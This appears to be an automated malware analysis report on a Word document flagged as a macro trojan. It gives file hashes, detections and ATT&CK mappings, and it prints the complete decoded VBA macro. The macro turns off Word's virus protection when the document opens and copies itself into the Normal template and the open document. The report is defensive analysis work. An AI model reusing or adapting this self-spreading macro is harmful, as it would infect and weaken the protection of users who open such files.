Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1cd289ed6d7cd1c4…

MALICIOUS

Office (OLE)

36.0 KB Created: 1999-05-27 16:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5a197f5b332aae4fd46455d8351b20ed SHA-1: 245f5a7a3b6a16324a9dfba95ff017644b0a9b62 SHA-256: 1cd289ed6d7cd1c421042ec654278b99be79a5250d850155da03127ed92a7604
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution in malicious documents. The VBA code attempts to export its own module to a file named 'no32close.sys' in the system directory, suggesting a downloader or dropper functionality. The ClamAV detections 'Doc.Trojan.Closer-1' and 'Doc.Trojan.Sxe-1' further indicate malicious intent.

Heuristics 3

  • ClamAV: Doc.Trojan.Closer-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Closer-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1199 bytes
SHA-256: 46add81ade083d2af5160894de4a5e0ec6d65b7561d7433075d5fa4e934f4a6c
Detection
ClamAV: Doc.Trojan.Sxe-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "sXe"
Public abc As Object
Sub Document_Open()
Set a = MacroContainer.VBProject: Options.VirusProtection = False: Set ab = a.VBComponents("sXe"): Set abc = ab.codemodule
InsertCode
Hidden
abc.deletelines 27, 16

Rem Set ado = ActiveDocument.VBProject.VBComponents
Rem Set nt = NormalTemplate.VBProject.VBComponents
Rem z$ = "c:\windows\system\no32close.sys"
Rem n$ = "sXe"
Rem Application.VBE.ActiveVBProject.VBComponents(n$).Export z$
Rem ai = 0
Rem ni = 0
Rem For j = 1 To nt.Count
Rem If nt(j).Name = n$ Then ni = 1
Rem Next
Rem For h = 1 To ado.Count
Rem If ado(h).Name = n$ Then ai = 1
Rem Next
Rem If ni = 0 Then nt.import z$: NormalTemplate.Save
Rem If ai = 0 Then ado.import z$: ActiveDocument.Save

End Sub

Sub Hidden()
End Sub

Function InsertCode()
For i = 8 To 22
m = Right(abc.lines(i, 1), (Len(abc.lines(i, 1)) - 4)) & vbCr
co = co & m
Next
abc.insertlines 27, co
End Function